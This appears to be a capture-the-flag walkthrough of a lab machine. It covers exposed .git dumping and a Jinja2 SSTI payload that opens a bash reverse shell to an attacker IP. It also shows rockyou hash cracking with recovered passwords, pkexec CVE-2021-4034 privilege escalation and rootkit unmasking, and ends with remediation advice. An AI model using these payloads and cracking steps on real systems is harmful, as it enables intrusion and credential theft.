Registered on the web application and logged in with the new user.
nmap 10.13.37.14
Open Ports:
Port 8888 prompted for credentials via netcat.
Registered on the web application and logged in with the new user.
Configured SMTP server to our host on port 25 and started a debug SMTP server:
sudo python3 -m smtpd -c DebuggingServer -n 10.10.14.10:25
Sending a test message yielded a flag via the SMTP alert:
FARADAY{ehlo_****w3lcom3!}
Enumerated directories and found exposed .git:
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.13.37.14/FUZZ -t 100 --hc 404
Dumped the repository:
git-dumper http://10.13.37.14/.git/ dump
Source review in app.py showed use of render_template_string with user input, enabling SSTI.
Tested basic SSTI with:
http://10.13.37.14/profile?name={{7*7}}
Used a Jinja2 payload to execute a reverse shell:
{% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('bash -c "bash -i >& /dev/tcp/10.10.14.10/443 0>&1"')['read']() == 'chiv' %} a {% endif %}
URL-encoded request:
http://10.13.37.14/profile?name={%25+if+request['application']['__globals_']['__builtins__']['__import__']('os')['popen']('bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.10/443+0>%261"')['read']()+%3d%3d+'chiv'+%25}+a+{%25+endif+%25}
Listener:
sudo netcat -lvnp 443
Result: Reverse shell as root in a container (172.22.0.2) and flag in /app/flag.txt:
FARADAY{7x7_1********_49}
From /app/db/database.db, dumped user_model:
sqlite3 database.db
.tables
select * from user_model;
Saved hashes to a file and cracked with Python using check_password_hash:
#!/usr/bin/python3
from werkzeug.security import check_password_hash
from pwn import log
hashes = open("hashes", "r")
for hash in hashes:
hash = hash.strip()
user = hash.split(":")[0]
hash = hash.split(":")[1]
with open("/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt", "r", errors="ignore") as file:
for line in file:
password = line.strip()
if check_password_hash(hash, password):
log.success(f"Credencial valida: {user}:{password}")
Recovered Credentials:
pasta:antihackerpepe:sarmientoadministrator:ihatepastaocto:octopasstest:testssh pasta@10.13.37.14
Downloaded crackme and reversed it to recover a flag:
sshpass -p antihacker scp pasta@10.13.37.14:crackme .
Bruteforce script for the missing bytes:
#!/usr/bin/python3
from itertools import product
import struct, string
flag = "FARADAY{d0ubl3_********e@uty}"
characters = string.ascii_lowercase + string.punctuation
for combination in product(characters, repeat=5):
chars = "".join(combination).encode()
value = b"_" + chars[:2] + b"}" + chars[2:] + b"@"
result = 1665002837.488342 / struct.unpack("d", value)[0]
if abs(result - 4088116.817143337) <= 0.0000001192092895507812:
value = chars[:2] + b"@" + chars[2:] + b"}"
print(flag + value.decode())
break
Recovered flag:
FARADAY{d0ubl3_********e@uty}
sshpass -p ihatepasta ssh administrator@10.13.37.14
Found access.log readable and mined SQLmap patterns from /update.php:
cat /var/log/apache2/access.log | grep sqlmap | head -n1
Decoded logs with a Python parser:
#!/usr/bin/python3
import re, urllib.parse
with open("/var/log/apache2/access.log") as file:
for line in file:
line = urllib.parse.unquote(line)
if not "update.php" in line:
continue
regex = re.search("\)\)!=(\d+)", line)
if regex:
decimal = int(regex.group(1))
print(chr(decimal), end="")
Extracted flag:
FARADAY{@cc3ss_**********use3fu111}
Identified pkexec SUID and used CVE-2021-4034:
find / -perm -4000 2>/dev/null | grep -v snap
ls -l /usr/bin/pkexec
python3 exploit.py
Root flag:
FARADAY{__1s_************l3t3?__}
Used known SSH credentials on port 8888:
netcat 10.13.37.14 8888
Username: pasta
Password: antihacker
Flag returned:
FARADAY{C_1s-************0|3te}
chkrootkit output indicated Reptile rootkit. Mounted the disk image and located the hidden folder:
sudo losetup /dev/loop10 sda3.image
sudo kpartx -a /dev/loop10
sudo vgdisplay -v | grep "LV Path"
mount /dev/ubuntu-vg/ubuntu-lv /mnt/
Found /mnt/reptileRoberto and flag file:
ls -l /mnt/reptileRoberto
Disabled rootkit hiding and read the final flag:
/reptileRoberto/reptileRoberto_cmd show
cat /reptileRoberto/reptileRoberto_flag.txt
Flag:
FARADAY{__LKM-************0r@ng3__}
.git repositories frequently leak secrets and vulnerable code paths.render_template_string leads to immediate remote code execution.pkexec can enable root via known CVEs.FARADAY{ehlo_****w3lcom3!} (SMTP alert)FARADAY{7x7_1********_49} (container)FARADAY{d0ubl3_********e@uty} (crackme)FARADAY{@cc3ss_**********use3fu111} (access.log)FARADAY{__1s_************l3t3?__} (root)FARADAY{C_1s-************0|3te} (port 8888)FARADAY{__LKM-************0r@ng3__} (rootkit)Remove SSTI in Template Rendering
render_template_string used with user-controlled input.Protect Source Code and Secrets
.git directory..git with web server rules.Eliminate Credential Reuse
Patch Known SUID Vulnerabilities
pkexec vulnerable to CVE-2021-4034.Limit Log Access and Sensitive Artifacts
Detect Rootkits and Hidden Paths